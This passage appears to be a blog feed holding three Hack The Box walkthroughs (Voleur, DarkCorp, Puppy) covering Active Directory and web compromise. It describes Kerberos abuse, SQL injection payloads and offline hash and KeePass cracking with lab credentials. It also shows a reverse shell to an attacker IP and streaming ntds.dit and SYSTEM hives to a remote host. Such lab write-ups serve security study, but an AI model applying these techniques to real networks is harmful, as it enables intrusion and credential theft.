  • 135/tcp: MSRPC – Windows RPC endpoint mapper
  • 139/tcp: NetBIOS-SSN – legacy file and printer sharing
  • 389/tcp: LDAP – Active Directory directory service
  • 445/tcp: SMB – file sharing and remote administration
  • 464/tcp: kpasswd – Kerberos password change service
  • 593/tcp: RPC over HTTP – remote procedure calls over HTTP
  • 636/tcp: tcpwrapped – likely LDAPS (secure LDAP)
  • 2222/tcp: SSH – OpenSSH on Ubuntu (remote management)
  • 3268/tcp: Global Catalog (LDAP GC) – forest-wide directory service
  • 3269/tcp: tcpwrapped – likely Global Catalog over LDAPS

Machine Enumeration:

impacket-getTGT voleur.htb/ryan.naylor:HollowOct31Nyt (Impacket v0.12.0) β€” TGT saved to ryan.naylor.ccache; note: significant clock skew with the DC may disrupt Kerberos operations.

impacket-getTGT used ryan.naylor’s credentials to request a Kerberos TGT from the domain KDC and saved it to ryan.naylor.ccache; that ticket lets anyone request service tickets and access AD services (SMB, LDAP, HTTP) as ryan.naylor until it expires or is revoked, so inspect it with KRB5CCNAME=./ryan.naylor.ccache && klist and, if the request was unauthorized, reset the account password and check KDC logs for suspicious AS-REQs.

Setting KRB5CCNAME=ryan.naylor.ccache tells the Kerberos libraries to use that credential cache file for authentication so Kerberos-aware tools (klist, smbclient -k, ldapsearch -Y GSSAPI, Impacket tools with -k) will present the saved TGT; after exporting, run klist to view the ticket timestamps and then use the desired Kerberos-capable client (or unset the variable when done).

nxc ldap connected to the domain controller’s LDAP (DC.voleur.htb:389) using Kerberos (-k), discovered AD info (x64 DC, domain voleur.htb, signing enabled, SMBv1 disabled) and successfully authenticated as voleur.htb\ryan.naylor with the supplied credentials, confirming those credentials are valid for LDAP access.

nxc smb connected to the domain controller on TCP 445 using Kerberos (-k), enumerated the host as dc.voleur.htb (x64) with SMB signing enabled and SMBv1 disabled, and successfully authenticated as voleur.htb\ryan.naylor with the supplied credentials, confirming SMB access to the DC which can be used to list or mount shares, upload/download files, or perform further AD discovery while the account’s privileges allow.

Bloodhound enumeration

Runs bloodhound-python to authenticate to the voleur.htb domain as ryan.naylor (using the provided password and Kerberos via -k), query the specified DNS server (10.10.11.76) and collect all AD data (-c All) across the domain (-d voleur.htb), then package the resulting JSON data into a zip file (–zip) ready for import into BloodHound for graph-based AD attack path analysis; this gathers users, groups, computers, sessions, ACLs, trusts, and other relationships that are sensitive β€” only run with authorization.

ryan.naylor is a member of Domain Users and First-line Technicians β€” Domain Users is the default domain account group with standard user privileges, while First-line Technicians is a delegated helpdesk/tech group that typically has elevated rights like resetting passwords, unlocking accounts, and limited workstation or AD object management; combined, these memberships let the account perform routine IT tasks and makes it a useful foothold for lateral movement or privilege escalation if abused, so treat it as sensitive and monitor or restrict as needed.

SMB enumeration

Connected to dc.voleur.htb over SMB using Kerberos authentication; authenticated as voleur.htb\ryan.naylor and enumerated shares: ADMIN$, C$, Finance, HR, IPC$ (READ), IT (READ), NETLOGON (READ), and SYSVOL (READ), with SMB signing enabled and NTLM disabled.

If impacket-smbclient -k dc.voleur.htb failed, target a specific share and provide credentials or use your Kerberos cache. For example, connect with Kerberos and no password to a known share: impacket-smbclient -k -no-pass //dc.voleur.htb/Finance after exporting KRB5CCNAME=./ryan.naylor.ccache, or authenticate directly with username and password: impacket-smbclient //dc.voleur.htb/Finance -u ryan.naylor -p HollowOct31Nyt; specifying the share usually succeeds when the root endpoint refuses connections.

Shares need to be selected from the enumerated list before accessing them.

The SMB session showed available shares (including hidden admin shares ADMIN$ and C$, domain shares NETLOGON and SYSVOL, and user shares like Finance, HR, IT); the command use IT switched into the IT share and ls will list that share’s files and directories β€” output depends on ryan.naylor’s permissions and may be empty or restricted if the account lacks write/list rights.

Directory listing shows a folder named First-Line Support β€” change into it with cd First-Line Support and run ls to view its contents.

Inside the First-Line Support folder, there is a single file named Access_Review.xlsx with a size of 16,896 bytes, along with the standard . and .. directories.

Retrieve or save the Access_Review.xlsx file from the share to the local system.

Saved the file locally on your machine.

The file Access_Review.xlsx is encrypted using CDFv2.

The file is password-protected and cannot be opened without the correct password.

Extracted the password hash from Access_Review.xlsx using office2john and saved it to a file named hash.

The output is the extracted Office 2013 password hash from Access_Review.xlsx in hashcat/John format, showing encryption type, iteration count, salt, and encrypted data, which can be used for offline password cracking attempts.

Hashcat could not identify any supported hash mode that matches the format of the provided hash.

CrackStation failed to find a viable cracking path.

After researching the hash, it’s confirmed as Office 2013 / CDFv2 (PBKDF2‑HMAC‑SHA1 with 100,000 iterations) and maps to hashcat mode 9600; use hashcat -m 9600 with targeted wordlists, masks, or rules (GPU recommended) but expect slow hashing due to the high iteration count β€” if hashcat rejects the format, update to the latest hashcat build or try John’s office2john/output path; only attempt cracking with proper authorization.

I found this guide on Medium that explains how to extract and crack the Office 2013 hash we retrieved

After performing a password enumeration, the credential football1 was identified, potentially belonging to the svc account. It is noteworthy that the Todd user had been deleted, yet its password remnants were still recoverable.

The Access_Review.xlsx file contained plaintext credentials for two service accounts: svc_ldap β€” M1XyC9pW7qT5Vn and svc_iis β€” N5pXyV1WqM7CZ8. These appear to be service-account passwords that could grant LDAP and IIS access; treat them as sensitive, rotate/reset the accounts immediately, and audit where and how the credentials were stored and used.

svc_ldap has GenericWrite over the Lacey user objects and WriteSPN on svc_winrm; next step is to request a service ticket for svc_winrm.

impacket-getTGT used svc_ldap’s credentials to perform a Kerberos AS-REQ to the domain KDC, received a valid TGT, and saved it to svc_ldap.ccache; that TGT can be used to request service tickets (TGS) and access domain services as svc_ldap until it expires or is revoked, so treat the ccache as a live credential and rotate/reset the account or investigate KDC logs if the activity is unauthorized.

Set the Kerberos credential cache to svc_ldap.ccache so that Kerberos-aware tools will use svc_ldap’s TGT for authentication.

Attempt to bypass the disabled account failed: no krbtgt entries were found, indicating an issue with the LDAP account used.

Run bloodyAD against voleur.htb as svc_ldap (Kerberos) targeting dc.voleur.htb to set the svc_winrm object’s servicePrincipalName to HTTP/fake.voleur.htb.

The hashes were successfully retrieved as shown previously.

Cracking failed when hashcat hit a segmentation fault.

Using John the Ripper, the Office hash was cracked and the password AFireInsidedeOzarctica980219afi was recovered β€” treat it as a live credential and use it only with authorization (e.g., to open the file or authenticate as the associated account).

Authenticate with kinit using the cracked password, then run evil-winrm to access the target.

To retrieve the user flag, run type user.txt in the compromised session.

Another way to retrieve user flag

Request a TGS for the svc_winrm service principal.

Use evil-winrm the same way as before to connect and proceed.

Alternatively, display the user flag with type C:\Users\<username>\Desktop\user.txt.

Escalate to Root Privileges Access

Privilege Escalation:

Enumerated C:\ and found an IT folder that warrants closer inspection.

The IT folder contains three directories β€” each checked next for sensitive files.

No relevant files or artifacts discovered so far.

The directories cannot be opened with the current permissions.

Runs bloodyAD against dc.voleur.htb as svc_ldap (authenticating with the given password and Kerberos) to enumerate all Active Directory objects that svc_ldap can write to; the get writable command lists objects with writable ACLs (e.g., GenericWrite, WriteSPN) and –include-del also returns deleted-object entries, revealing targets you can modify or abuse for privilege escalation (resetting attributes, writing SPNs, planting creds, etc.).

From the list of writable AD objects, locate the object corresponding to Todd Wolfe.

Located the object; proceed to restore it by assigning sAMAccountName todd.wolfe.

Runs bloodyAD against dc.voleur.htb as svc_ldap (Kerberos) to restore the deleted AD object todd.wolfe on the domain β€” this attempts to undelete the tombstoned account and reinstate its sAMAccountName; success depends on svc_ldap having sufficient rights and the object still being restorable.

The restoration was successful, so the next step is to verify whether the original password still works.

After evaluating options, launch runascs.exe to move forward with the attack path.

Execute RunasCS.exe to run powershell as svc_ldap using password M1XyC9pW7qT5Vn and connect back to 10.10.14.189:9007.

Established a reverse shell session from the callback.

Successfully escalated to and accessed the system as todd.wolfe.

Ultimately, all previously restricted directories are now visible.

You navigated into the IT share (Second-Line Support β†’ Archived Users β†’ todd.wolfe) and downloaded two DPAPI-related artefacts: the Protect blob at AppData\Roaming\Microsoft\Protect<SID>\08949382-134f-4c63-b93c-ce52efc0aa88 and the credential file at AppData\Roaming\Microsoft\Credentials\772275FAD58525253490A9B0039791D3; these are DPAPI master-key/credential blobs that can be used to recover saved secrets for todd.wolfe, when combined with the appropriate user or system keys, should be them as highly sensitive.

DPAPI Recovery and Abuse: How Encrypted Blobs Lead to Root

Using impacket-dpapi with todd.wolfe’s masterkey file and password (NightT1meP1dg3on14), the DPAPI master key was successfully decrypted; the output shows the master key GUID, lengths, and flags, with the decrypted key displayed in hex, which can now be used to unlock the user’s protected credentials and recover saved secrets from Windows.

The credential blob was decrypted successfully: it’s an enterprise-persisted domain password entry last written on 2025-01-29 12:55:19 for target Jezzas_Account with username jeremy.combs and password qT3V9pLXyN7W4m; the flags indicate it requires confirmation and supports wildcard matching. This is a live domain credential that can be used to authenticate to AD services or for lateral movement, so handle it as sensitive and test access only with authorization.

impacket-getTGT used jeremy.combs’s credentials to request a Kerberos TGT from the domain KDC and saved it to jeremy.combs.ccache; that TGT can be used to request service tickets (TGS) and authenticate to AD services (SMB, LDAP, WinRM, etc.) as jeremy.combs until it expires or is revoked, so inspect it with KRB5CCNAME=./jeremy.combs.ccache && klist and treat the cache as a live credential β€” rotate/reset the account or review KDC logs if the activity is unauthorized.

Set the Kerberos credential cache to jeremy.combs.ccache so Kerberos-aware tools will use jeremy.combs’s TGT for authentication.

Run bloodhound-python as jeremy.combs (password qT3V9pLXyN7W4m) using Kerberos and DNS server 10.10.11.76 to collect all AD data for voleur.htb and save the output as a zip for BloodHound import.

Account jeremy.combs is in the Third-Line Technicians group.

Connected to dc.voleur.htb with impacket-smbclient (Kerberos), switched into the IT share and listed contents β€” the directory Third-Line Support is present.

Downloaded two files from the share: the private SSH key id_rsa and the text file Note.txt.txt β€” treat id_rsa as a sensitive private key (check for a passphrase) and review Note.txt.txt for useful creds or instructions.

The note indicates that the administrator was dissatisfied with Windows Backup and has started configuring Windows Subsystem for Linux (WSL) to experiment with Linux-based backup tools. They are asking Jeremy to review the setup and implement or configure any viable backup solutions using the Linux environment. Essentially, it’s guidance to transition or supplement backup tasks from native Windows tools to Linux-based tools via WSL.

The key belongs to the svc_backup user, and based on the earlier port scan, port 2222 is open, which can be used to attempt a connection.

The only difference in this case is the presence of the backups directory.

There are two directories present: Active Directory and Registry.

Stream the raw contents of the ntds.dit file to a remote host by writing it out over a TCP connection.

The ntds.dit file was transferred to the remote host.

Stream the raw contents of the SYSTEM file to a remote host by writing it out over a TCP connection.

The SYSTEM file was transferred to the remote host.

That command runs impacket-secretsdump in offline mode against the dumped AD database and system hive β€” reading ntds.dit and SYSTEM to extract domain credentials and secrets (user NTLM hashes, cached credentials, machine account hashes, LSA secrets, etc.) for further offline analysis; treat the output as highly sensitive and use only with proper authorization.

Acquire an Administrator service ticket for WinRM access.

Authenticate with kinit using the cracked password, then run evil-winrm to access the target.

To retrieve the root flag, run type root.txt in the compromised session.

The post Hack The Box: Voleur Machinen Walkthrough – Medium Difficulty appeared first on Threatninja.net.

Hack The Box: DarkCorp Machine Walkthrough – Insane Difficulity

By: darknite
18 October 2025 at 11:43
Reading Time: 13 minutes

Introduction to DarkCorp:

In this writeup, we will explore the β€œDarkCorp” machine from Hack The Box, categorized as an Insane difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the β€œDarkCorp” machine from Hack The Box by achieving the following objectives:

User Flag:

Gained initial foothold via the webmail/contact vector, registered an account, abused the contact form, and executed a payload to spawn a reverse shell. From the shell, read user.txt to capture the user flag.

Root Flag:

Performed post-exploitation and credential harvesting (SQLi β†’ hashes β†’ cracked password thePlague61780, DPAPI master key recovery and Pack_beneath_Solid9! recovered), used recovered credentials and privilege escalation techniques to obtain root, then read root.txt to capture the root flag.

Enumerating the DarkCorp Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oN nmap_initial.txt 10.10.11.54

Nmap Output:

β”Œβ”€[dark@parrot]─[~/Documents/htb/darkcorp]
└──╼ $nmap -sC -sV -oA initial 10.10.11.54 
# Nmap 7.94SVN scan initiated Sun Aug 17 03:07:38 2025 as: nmap -sC -sV -oA initial 10.10.11.54
Nmap scan report for 10.10.11.54
Host is up (0.18s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 33:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA)
|_  256 04:ad:7e:ba:11:0e:e0:fb:d0:80:d3:24:c2:3e:2c:c5 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 17 03:08:04 2025 -- 1 IP address (1 host up) scanned in 25.73 seconds
β”Œβ”€[dark@parrot]─[~/Documents/htb/darkcorp]
└──╼ $

Analysis:

  • Port 22 (SSH): OpenSSH 9.2p1 on Debian β€” secure remote access; check for password authentication or weak credentials.
  • Port 80 (HTTP): nginx 1.22.1 β€” web server serving GET/HEAD only; perform directory and file enumeration for further insights.

Web Enumeration:

Nothing noteworthy was found on the website itself.

A subdomain was discovered that leads to the DripMail Webmail interface.

Register a new account and enter the email

As a next step, proceed to register a new account.

Enter the required information to create the new account.

We successfully created the account, confirming that the DripMail Webmail portal’s registration process works correctly. This indicates that user registration is open; therefore, we can interact with the mail system. Consequently, this may enable further exploration, including login, email sending, and service enumeration.

Check your email inbox

A new email appeared in the inbox from no-reply@drip.htb, indicating that the system had sent an automated message; moreover, it may contain a verification notice, onboarding information, or credential-related details, all of which are worth reviewing for further clues.

However, it turned out to be just a welcome email from no-reply@drip.htb, providing no useful information.

Contact Form Exploitation

The site includes a contact form that attackers could potentially exploit.

We entered a non-deterministic key value into the input.

Inserting image...

We sent the message successfully, confirming that the contact form works and accepts submissions.

CVE‑2024‑42009 β€” Web Enumeration with Burp Suite

Inserting image...

Burp shows the contact form submission (POST) carrying the random key and payload, followed by a successful response.

Inserting image...

We modified the contact-form recipient field and replayed the POST via Burp Repeater; the server returned 200 OK, and it delivered the message to admin@drip.htb.

Inserting image...

We received a request for customer information.

Inserting image...

Let’s start our listener

Contact Form Payload

Inserting image...

Insert the base64-encoded string into the message.

Inserting image...

The Burp Suite trace looks like the following.

A staff member sent an email.

Resetting the password

Inserting image...

We need to change the password.

Inserting image...

After setting the payload, we received a password reset link.

Inserting image...

Let’s change the password as needed

Inserting image...

We are provide with a dashboard

SQL injection discovered on dev-a3f1-01.drip.htb.

Inserting image...

We accessed the user overview and discovered useful information.

Inserting image...

The application is vulnerable to SQL injection.

SQLi Payload for Table Enumeration

Inserting image...

The input is an SQL injection payload that closes the current query and injects a new one: it terminates the original statement, runs
SELECT table_name FROM information_schema.tables WHERE table_schema=’public’;
and uses β€” to comment out the remainder. This enumerates all table names in the public schema; the response (Users, Admins) shows the database exposed those table names, confirming successful SQLi and information disclosure.

Inserting image...

The payload closes the current query and injects a new one:
SELECT column_name FROM information_schema.columns WHERE table_name=’Users’;–
which lists all column names for the Users table. The response (id, username, password, email, host_header, ip_address) confirms successful SQLi-driven schema enumeration and reveals sensitive columns (notably password and email) that could enable credential or user-data disclosure.

Obtained password hashes from the Users table (Users.password). These values are opaque; we should determine their type, attempt to crack only with authorisation, and protect them securely.

PostgreSQL File Enumeration

The SQL command SELECT pg_ls_dir('./'); invokes PostgreSQL’s pg_ls_dir() function to list all files and directories in the server process’s current directory (typically the database data or working directory). Because pg_ls_dir() exposes the filesystem view, it can reveal configuration files or other server-side files accessible to the database process β€” which is why it’s often used during post‑exploitation or SQLi-driven reconnaissance. Importantly, this function requires superuser privileges; therefore, a non‑superuser connection will be denied. Consequently, successful execution implies that the user has elevated database permissions.

The SQL command SELECT pg_read_file('PG_VERSION', 0, 200); calls PostgreSQL’s pg_read_file() to read up to 200 bytes starting at offset 0 from the file PG_VERSION on the database server. PG_VERSION normally contains the PostgreSQL version string, so a successful call discloses the DB version to the attacker β€” useful for fingerprinting β€” and typically requires superuser privileges, making its successful execution an indicator of elevated database access and a potential information‑disclosure risk.

Returning down the path, I spotted one; it would impress those who have beaten Cerberus…/../../ssssss

SSSD maintains its own local ticket credential caching mechanism (KCM), managed by the SSSD process. It stores a copy of the valid credential cache, while the corresponding encryption key is stored separately in /var/lib/sss/secrets/secrets.ldb and /var/lib/sss/secrets/.secrets.mkey.

Shell as postgres

Finally, we successfully received a reverse shell connection back to our machine; therefore, this confirmed that the payload executed correctly and established remote access as intended.

Nothing of significance was detected.

Discovered the database username and password.

Restore the Old email

Elevate the current shell to an interactive TTY.

The encrypted PostgreSQL backup dev-dripmail.old.sql.gpg is decrypted using the provided passphrase, and the resulting SQL dump is saved as dev-dripmail.old.sql. Consequently, this allows further inspection or restoration of the database for deeper analysis or recovery.

The output resembles what is shown above.

Found three hashes that can be cracked with Hashcat.

Hash Cracking via hashcat

We successfully recovered the password thePlague61780.

Since Hashcat managed to crack only one hash, we’ll therefore use CrackStation to attempt cracking the remaining two.

Bloodhound enumeration

Update the configuration file.

SSH as ebelford user

Established an SSH session to the machine as ebelforrd.

No binary found

Found two IP addresses and several subdomains on the target machine.

Update the subdomain entries in our /etc/hosts file.

Network Tunnelling and DNS Spoofing with sshuttle and dnschef

Use sshuttle to connect to the server and route traffic (like a VPN / port forwarding).

Additionally, dnschef was used to intercept and spoof DNS traffic during testing.

Gathering Information via Internal Status Monitor

Log in using the victor.r account credentials.

Click the check button to get a response

Replace the saved victor.r login details in Burp Suite.

Testing the suspected host and port for reachability.

Begin the NTLM relay/replay attack.

Leverage socatx64 to perform this activity.

Abuse S4U2Self and Gain a Shell on WEB-01

An LDAP interactive shell session is now running.

Run get_user_groups on svc_acc to list their groups.

Retrieved the SID associated with this action.

Retrieved the administrator.ccache Kerberos ticket.

We can read the user flag by typing β€œtype user.txt” command

Escalate to Root Privileges Access on Darkcorp machine

Privilege Escalation:

Transfer sharpdpapi.exe to the target host.

Attempting to evade Windows Defender in a sanctioned test environment

The output reveals a DPAPI-protected credential blob located at
C:\Users\Administrator\AppData\Local\Microsoft\Credentials\32B2774DF751FF7E28E78AE75C237A1E. It references a master key with GUID {6037d071-...} and shows that the blob is protected using system-level DPAPI (CRYPTPROTECT_SYSTEM), with SHA-512 for hashing and AES-256 for encryption. Since the message indicates MasterKey GUID not in cache, the decryption cannot proceed until the corresponding master key is obtained β€” either from the user’s masterkey file or by accessing a process currently holding it in memory.

This output shows a DPAPI local credential file at C:\Users\Administrator\AppData\Local\Microsoft\Credentials\ with the filename 32B2774DF751FF7E28E78AE75C237A1E. The system protects it using a DPAPI master key (GUID {6037d071-cac5-481e-9e08-c4296c0a7ff7}), applies SHA-512 for hashing, and uses AES-256 for encryption. Because the master key isn’t currently in the cache, we can’t decrypt the credential blob until we obtain that master key (for example from the masterkey file) or access the process that holds it in memory.

Direct file transfer through evil-winrm was unsuccessful.

Transform the file into base64 format.

We successfully recovered the decrypted key; as noted above, this confirms the prior output and therefore enables further analysis.

Access darkcorp machine via angela.w

Successfully recovered the password Pack_beneath_Solid9!

Retrieval of angela.w’s NT hash failed.

Attempt to gain access to the angela.w account via a different method.

Acquired the hash dump for angela.w.

Save the ticket as angela.w.adm.ccache.

Successful privilege escalation to root.

Retrieved password hashes.

Password reset completed and new password obtained.

Exploiting GPOs with pyGPOAbuse

Enumerated several GPOs in the darkcorp.htb domain; additionally, each entry shows the GPO GUID, display name, SYSVOL path, applied extension GUIDs, version, and the policy areas it controls (registry, EFS policy/recovery, Windows Firewall, security/audit, restricted groups, scheduled tasks). Furthermore, the Default Domain Policy and Default Domain Controllers Policy enforce core domain and DC security β€” notably, the DC policy has many revisions. Meanwhile, the SecurityUpdates GPO appears to manage scheduled tasks and update enforcement. Therefore, map these SYSVOL files to find promising escalation vectors: for example, check for misconfigured scheduled tasks, review EFS recovery settings for exposed keys, and identify privileged group memberships. Also, correlate GPO versions and recent changes to prioritize likely targets.

BloodHound identifies taylor as GPO manager β€” pyGPOAbuse is applicable, pending discovery of the GPO ID.

Force a Group Policy update using gpupdate /force.

Display the root flag with type root.txt.

The post Hack The Box: DarkCorp Machine Walkthrough – Insane Difficulity appeared first on Threatninja.net.

Hack The Box: Puppy Machine Walkthrough – Medium Difficulty

By: darknite
27 September 2025 at 10:58
Reading Time: 13 minutes

Introduction to Puppy:

In this writeup, we will explore the β€œPuppy” machine from Hack The Box, categorised as an Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective on Puppy Machine:

The goal of this walkthrough is to complete the β€œPuppy” machine from Hack The Box by achieving the following objectives:

User Flag:

Gaining the user flag on the Puppy machine was a calculated strike. Using levi.james’s credentials, I escalated access by adding the account to the DEVELOPERS group, unlocking the DEV share. Brute-forcing the recovery.kdbx file with the password β€œLiverpool” exposed ant.edwards:Antman2025!, which enabled resetting ADAM.SILVER’s password. A swift WinRM login as ADAM.SILVER and a quick β€œtype user.txt” snagged the flag from the desktop.

Root Flag:

The root flag fell after a relentless push through credential exploitation. From a backup file in C:\Backups, I extracted steph.cooper:ChefSteph2025! and used it to access a WinRM shell. Exfiltrating DPAPI keys via an SMB share and decrypting them with Impacket unveiled steph.cooper_adm:FivethChipOnItsWay2025!. Logging in as this user opened the Administrator directory, where β€œtype root.txt” delivered the final prize.

Enumerating the Puppy Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial -Pn 10.10.11.70

Nmap Output:

β”Œβ”€[dark@parrot]─[~/Documents/htb/puppy]
└──╼ $nmap -sC -sV -oA initial -Pn 10.10.11.70 
# Nmap 7.94SVN scan initiated Fri Sep 26 16:50:55 2025 as: nmap -sC -sV -oA initial -Pn 10.10.11.70
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-27 03:25:03Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2049/tcp open  nlockmgr      1-4 (RPC #100021)
3260/tcp open  iscsi?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h33m43s
| smb2-time: 
|   date: 2025-09-27T03:26:54
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Analysis:

  • 53/tcp: DNS (Simple DNS Plus) for name resolution.
  • 88/tcp: Kerberos authentication service for AD logins.
  • 135/tcp & 593/tcp: Microsoft RPC endpoints for service enumeration.
  • 139/tcp & 445/tcp: NetBIOS and SMB for file shares and potential lateral movement.
  • 389/tcp & 3268/tcp: LDAP and Global Catalog for AD enumeration.
  • 464/tcp: Kerberos password change service.
  • 111/tcp & 2049/tcp: NFS and RPC services (mountd, nlockmgr) for file system access.
  • 636/tcp & 3269/tcp: Encrypted LDAP services (LDAPS/GC).
  • 3260/tcp: Potential iSCSI storage interface.

Enumeration:

Bloodhound

Executed bloodhound-python with levi.james credentials against puppy.htb (using 10.10.11.70 as the DNS/collector). The tool enumerated Active Directory data (users, groups, computers, sessions, ACLs, trusts, etc.) with -c All and packaged the results into a zipped bundle (--zip) ready for import into BloodHound to map privilege-escalation and lateral-movement paths.

levi.james is in HR and DEVELOPERS and holds GenericWrite β€” he can modify attributes/DACLs on writable objects; on HTB, use BloodHound to find those machines/groups/service accounts and abuse them (add users to privileged groups, change DACLs, or set an SPN) to escalate.

rpcclient β€” Enumerating domain users

Using rpcclient, we connected to the target machine as levi.james and enumerated the domain users. The enumeration output listed several accounts, including Administrator, Guest, service accounts such as krbtgt, and multiple regular users like levi.james, ant.edwards, adam.silver, jamie.williams, steph.cooper, and steph.cooper_adm. These findings provide a useful starting point for further steps, such as detailed enumeration or potential password spraying attacks.

SMBclient enumeration

Running netexec smb against 10.10.11.70 with levi.jamesβ€˜s credentials successfully enumerated SMB shares. The results show IPC$, NETLOGON, and SYSVOL are accessible with read-only permissions, while ADMIN$, C$, and DEV shares are inaccessible. This read access can be useful for gathering domain information or extracting scripts and policies from SYSVOL and NETLOGON for further enumeration.

Running smbclient //10.10.11.70/DEV -U levi.james attempted to access the DEV share using levi.jamesβ€˜s credentials. The connection was successful, but when trying to list the contents (ls), the server returned NT_STATUS_ACCESS_DENIED, indicating that the account does not have the required permissions to view or access files in this share.

Using bloodyAD, we connected to the domain controller (dc.puppy.htb) with levi.jamesβ€˜s credentials and successfully added the user levi.james to the DEVELOPERS group, granting him all privileges associated with the group. After re-authenticating, we reconnected to the DEV share with smbclient and were able to list its contents. The share contained several notable items, including KeePassXC-2.7.9-Win64.msi, a Projects folder, recovery.kdbx (a KeePass database), and tiCPYdaK.exe. These files provide valuable leads for further enumeration, with the KeePass database being a strong candidate for extracting credentials to escalate privileges or move laterally within the network.

Downloaded the recovery.kdbx file from the DEV share to the local machine for offline analysis.

KDBX cracking β€” offline KeePass recovery

The file command identified recovery.kdbx as a KeePass 2.x KDBX password database.

We ran keepass2john on the file to extract password hashes, but it failed with an error indicating that the file version 40000 is not supported, so no hashes could be generated.

keepass4brute β€” running KDBX brute-force responsibly

Cloning that repository downloads the keepass4brute project from GitHub to your local machine, giving you the scripts, tools, and documentation included by the author for attempting offline recovery or brute-force against KeePass databases. After cloning, check the README for dependencies and usage instructions, verify the tool supports your KDBX version, and run it on a local copy of the database only with explicit authorization β€” misuse may be illegal or unethical.

The repository we cloned to our machine contains four items: .gitignore (ignored files), LICENSE (project license), README.md (usage and setup instructions), and keepass4brute.sh (the main brute-force script). Review the README and LICENSE before running the script, confirm dependencies, and scan any downloaded executables for malware.

Run the script like this: ./keepass4brute.sh <kdbx-file> <wordlist> to attempt brute-forcing the KeePass database with a specified wordlist.

The script aborted because keepassxc-cli is not installed. Install keepassxc-cli and rerun the script to continue the brute-force attempt.

I found a solution online: run sudo apt update then sudo apt install keepassxc to install KeepassXC (which provides keepassxc-cli). After installation, rerun the script.

The script is working and currently running.

Funny enough, it seems the machine creator might be a Liverpool fan, given that the recovered password is liverpool.

KeePassXC reveal β€” stored passwords recovered

We unlocked recovery.kdbx in KeepassXC using the password Liverpool.

Discovered a KeePass password database associated with the machine.

The user account that can be leveraged for privilege escalation or access.

The screenshots above show each user’s password.

The screenshot above displays the list of usernames.

Above displays the list of usernames along with their passwords.

I ran nxc smb against 10.10.11.70 with user list user.txt and password list password.txt using –continue-on-success; only the credential pair ant.edwards:Antman2025! succeeded.

ant.edwards sits in the SeniorDevs group and has GenericAll over adam.silver β€” meaning ant.edwards has full control of that account (reset password, change group membership, modify attributes or SPNs).

Using bloodyAD against dc.puppy.htb with the credentials ant.edwards:Antman2025!, we reset ADAM.SILVER’s password to p@ssw0d123! The tool reported the change succeeded, giving us direct access to the ADAM.SILVER account for follow-up enumeration or lateral movement.

ADAM.SILVER is currently disabled, so interactive logons with that account will fail until it’s re-enabled. Because ant.edwards has GenericAll over ADAM.SILVER, that account could be re-enabled and its password reset (or userAccountControl changed) to gain access β€” a straightforward takeover path once permissions are abused.

LDAP enumeration & ldapmodify β€” abusing recovered credentials

The bind failed because the LDAP server rejected the credentials β€” LDAP error code 49 (Invalid credentials). The extra text AcceptSecurityContext ... data 52e specifically indicates a bad username/password. Common causes are an incorrect password, wrong account name format (try DOMAIN\user or user@domain), or the account being locked or disabled. Verify the credentials and account status, then retry the bind.

The server returned an Operations error saying a successful bind is required before performing the search. In short: the LDAP query ran without an authenticated session (or the previous bind failed), so the server refused the operation. Fix by performing a successful bind first β€” supply valid credentials (try correct UPN or DOMAIN\user format), confirm the account is not locked/disabled, and then rerun the ldapsearch. If the server disallows anonymous/simple binds, use an authenticated bind method.

The LDAP errors were resolved after synchronizing the system clock using ntpdate. Kerberos and Active Directory require closely matched time between client and domain controller; even a small time drift can cause bind failures or β€œinvalid credentials” errors. After correcting the time, the bind succeeded and LDAP queries worked as expected.

A userAccountControl value of 66050 indicates that the account is disabled in Active Directory.

The ldapmodify command was used to connect to the LDAP server with ANT.EDWARDS@PUPPY.HTB and modify Adam D. Silver’s account. It updated the userAccountControl attribute from 66050 (disabled) to 66048, enabling the account while keeping other flags intact. This change allows Adam D. Silver to log in and use his assigned permissions.

Start a WinRM session to 10.10.11.70 using ADAM.SILVER with password p@ssw0rd123! to obtain a remote Windows shell via evil-winrm.

